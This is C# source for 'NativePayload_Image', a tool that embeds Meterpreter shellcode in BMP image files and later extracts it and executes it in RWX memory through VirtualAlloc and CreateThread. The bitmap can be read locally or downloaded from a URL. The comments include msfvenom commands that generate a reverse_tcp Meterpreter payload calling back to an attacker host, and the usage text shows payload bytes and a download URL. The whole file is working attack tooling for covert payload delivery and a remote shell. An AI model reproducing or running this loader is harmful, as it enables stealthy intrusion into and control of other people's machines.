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NativePayload_Image.cs
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NativePayload_Image.cs
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using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;
namespace NativePayload_Image
{
class Program
{
/// .Net Framework 2.0 , 3.5 and 4.0 only supported
/// .Net Framework 4.5 and 4.6 Not Supported ;O
/// Windows 2008 R2 tested with BMP Format only .
/// Note : tested and worked by MS Paint for Viewing bmp files only.
/// in kali linux you can use "hexeditor" command and in windows you can use "Hex editor NEO".
/// for meterpreter payload
/// msfvenom --platfoem windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f c > payload.txt
/// msfvenom --platfoem windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f num > payload.txt
/// <summary>
/// this Default_Header_BMP ws for one BMP file with (604 * 2 pixels)
/// </summary>
public static string Default_Header_BMP = "42;4d;5e;0e;00;00;00;00;00;00;36;00;00;00;28;00;00;00;5c;02;00;00;02;00;00;00;01;00;18;00;00;00;00;00;28;0e;00;00;00;00;00;00;00;00;00;00;00;00;00;00;00;00;00;00";
/// <summary>
/// Ex_Payload_BMP_Length hardcoded ;)
/// </summary>
public static int Ex_Payload_BMP_Length = 3114;
public static string Ex_Payload_BMP_byte = "ff";
public static string InjectPayload_to_BMP(string X_Meterpreter ,string Header, Int32 Ex_Payload_Length , bool Is_New_or_Exist_File , string FileName)
{
try
{
if (Is_New_or_Exist_File)
{
/// true is New File so should make New BMP file
byte[] _BMP = new byte[Header.Length + X_Meterpreter.Length + Ex_Payload_Length];
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[!] Making New Bitmap File ...");
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[!] Bitmap File Name : {0}", FileName);
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[+] Creating Header for Bitmap File ...");
string[] _bmp_h = Header.Split(';');
Console.ForegroundColor = ConsoleColor.Green;
for (int i = 0; i < _bmp_h.Length; i++)
{
if (i == 0)
{
Console.Write("[>] Header adding (length {0}) : ", _bmp_h.Length.ToString());
}
if (i <= 16)
{
Console.Write(_bmp_h[i].ToString());
}
_BMP[i] = Convert.ToByte(_bmp_h[i], 16);
}
Console.Write("........");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[+] Injecting Meterpreter Payload to Bitmap File ...");
Console.ForegroundColor = ConsoleColor.Green;
string[] _bmp_x = X_Meterpreter.Split(',');
for (int j = 0; j < _bmp_x.Length; j++)
{
if (j == 0)
{
Console.Write("[>] Injecting Payload (length {0}) : ", _bmp_x.Length.ToString());
}
if (j <= 16)
{
Console.Write(_bmp_x[j]);
}
_BMP[j + _bmp_h.Length] = Convert.ToByte(_bmp_x[j], 16);
}
Console.Write("........");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[+] Adding Ex-Payload for Bitmap File ...");
Console.ForegroundColor = ConsoleColor.Green;
for (int k = 0; k < Ex_Payload_Length; k++)
{
if (k == 0)
{
Console.Write("[>] Ex-Payload adding (length FF * {0}).", Ex_Payload_Length.ToString());
}
_BMP[k + _bmp_h.Length + _bmp_x.Length] = Convert.ToByte("ff", 16);
}
/// time to create bmp file
File.WriteAllBytes(FileName, _BMP);
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine();
Console.WriteLine("[!] File {0} with length {1} bytes Created.", FileName, _BMP.Length.ToString());
}
Console.ForegroundColor = ConsoleColor.Gray;
}
catch (Exception)
{
throw;
}
return "";
}
public static string InjectPayload_to_BMP(string X_Meterpreter, Int32 StartAddress, bool Is_New_or_Exist_File, string FileName)
{
try
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[!] Modify Bitmap File ...");
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[!] Bitmap File Name : {0}", FileName);
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("[+] Injecting Meterpreter Paylaod to Bitmap File ...");
Console.ForegroundColor = ConsoleColor.Green;
if (!Is_New_or_Exist_File)
{
/// false is exist File so should insert payload to BMP file (it is overwritten)
byte[] xPayload_Temp = File.ReadAllBytes(FileName);
string[] _bmp_x = X_Meterpreter.Split(',');
for (int i = 0; i < _bmp_x.Length;)
{
xPayload_Temp[i + StartAddress] = Convert.ToByte(_bmp_x[i], 16);
if (i == 0)
{
Console.Write("[>] Injecting Payload (length {0}) : ", _bmp_x.Length.ToString());
}
if (i <= 16)
{
Console.Write(_bmp_x[i]);
}
i++;
}
File.WriteAllBytes(FileName, xPayload_Temp);
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine();
Console.WriteLine("[!] File {0} with length {1} bytes Modified.", FileName, xPayload_Temp.Length.ToString());
}
Console.ForegroundColor = ConsoleColor.Gray;
}
catch (Exception)
{
throw;
}
return "";
}
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Injecting Syntax :");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("Syntax Creating New Bitmap File by template:");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Syntax I: NativePayload_Image.exe create [NewFileName.bmp] [Meterpreter_payload] ");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("Example I: NativePayload_Image.exe create test.bmp fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("Syntax Modify Bitmap File by New Payload:");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Syntax II: NativePayload_Image.exe modify [ExistFileName.bmp] [header_length] [Meterpreter_payload] ");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("Example II: NativePayload_Image.exe modify test.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Detecting and Getting Meterpreter Session (backdoor mode) Syntax :");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("Syntax Getting Meterpreter Session by local BMP File:");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine("Syntax I: NativePayload_Image.exe bitmap [ExistFileName.bmp] [Payload_length] [BMP_Header_Length] ");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("Example I: NativePayload_Image.exe bitmap test.bmp 510 54");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("Syntax Getting Meterpreter Session with Url by http Traffic");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine("Syntax II: NativePayload_Image.exe url [target url] [Payload_length] [BMP_Header_Length] ");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine(@"Example II: NativePayload_Image.exe url http://192.168.1.2/images/test.bmp 510 54");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("Syntax Getting Meterpreter Session by local/Web Encrypted BMP File:");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Syntax III: NativePayload_Image.exe decrypt [target url or local filename] [Payload_length] [BMP_Header_Length] ");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine(@"Example III: NativePayload_Image.exe decrypt http://192.168.1.2/images/test.bmp 510 54");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
}
else
{
if (args[0].ToUpper() == "CREATE")
{
/// Example I: NativePayload_Image.exe create test.bmp fc4883e4f0e8cc00000041514150
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
String S1 = args[1];
String S2 = args[2];
InjectPayload_to_BMP(S2, Default_Header_BMP, Ex_Payload_BMP_Length, true, S1);
}
if (args[0].ToUpper() == "MODIFY")
{
/// Example II: NativePayload_Image.exe modify test.bmp 54 fc4883e4f0e8cc00000041514150
/// InjectPayload_to_BMP(pay, 54, 510, false, "demo1.bmp");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
InjectPayload_to_BMP(args[3], Convert.ToInt32(args[2]), false, args[1]);
}
if (args[0].ToUpper() == "BITMAP")
{
try
{
///"Example I: NativePayload_Image.exe bitmap test.bmp 510 54"
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("[+] Detecting Meterpreter Payload bytes by Image Files");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("[+] File Scanning .. . . ");
string filename = args[1];
byte[] xPayload = File.ReadAllBytes(filename);
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("[+] Reading Payloads from \"{0}\" file ", filename);
Console.WriteLine("[+] Scanning Payload with length {0} from byte {1}", args[2], args[3]);
int offset = Convert.ToInt32(args[3]);
int counter = 0;
int Final_Payload_Length = Convert.ToInt32(args[2]);
byte[] Final = new byte[Convert.ToInt32(args[2])];
for (int i = 0; i <= xPayload.Length; i++)
{
if (i >= offset)
{
if (counter == Final_Payload_Length) break;
Final[counter] = xPayload[i];
counter++;
}
}
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Bingo Meterpreter session by BMP images ;)");
UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)Final.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(Final, 0x00000000, (IntPtr)(funcAddr), Final.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 1;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
WaitForSingleObject(hThread, 0xfffff1fc);
Console.ForegroundColor = ConsoleColor.Gray;
}
catch (Exception)
{
throw;
}
}
if (args[0].ToUpper() == "URL")
{
try
{
///"Example I: NativePayload_Image.exe url http://192.168.1.2/test.bmp 510 54"
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("[+] Detecting Meterpreter Payload bytes by Image Files");
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("[+] File Scanning .. . . ");
System.Net.WebClient web = new System.Net.WebClient();
byte[] xPayload = web.DownloadData(args[1].ToString());
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("[+] Reading Payloads from URL \"{0}\" ",args[1]);
Console.WriteLine("[+] Scanning Payload with length {0} from byte {1}", args[2], args[3]);
int offset = Convert.ToInt32(args[3]);
int counter = 0;
int Final_Payload_Length = Convert.ToInt32(args[2]);
byte[] Final = new byte[Convert.ToInt32(args[2])];
for (int i = 0; i <= xPayload.Length; i++)
{
if (i >= offset)
{
if (counter == Final_Payload_Length) break;
Final[counter] = xPayload[i];
counter++;
}
}
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Bingo Meterpreter session by BMP images ;)");
UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)Final.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(Final, 0x00000000, (IntPtr)(funcAddr), Final.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 1;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
WaitForSingleObject(hThread, 0xfffff1fc);
Console.ForegroundColor = ConsoleColor.Gray;
}
catch (Exception)
{
throw;
}
}
if (args[0].ToUpper() == "DECRYPT")
{
/// not ready ;)
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files");
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Encryption Method is not Ready for this version ;)");
Console.ForegroundColor = ConsoleColor.Gray;
}
}
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
}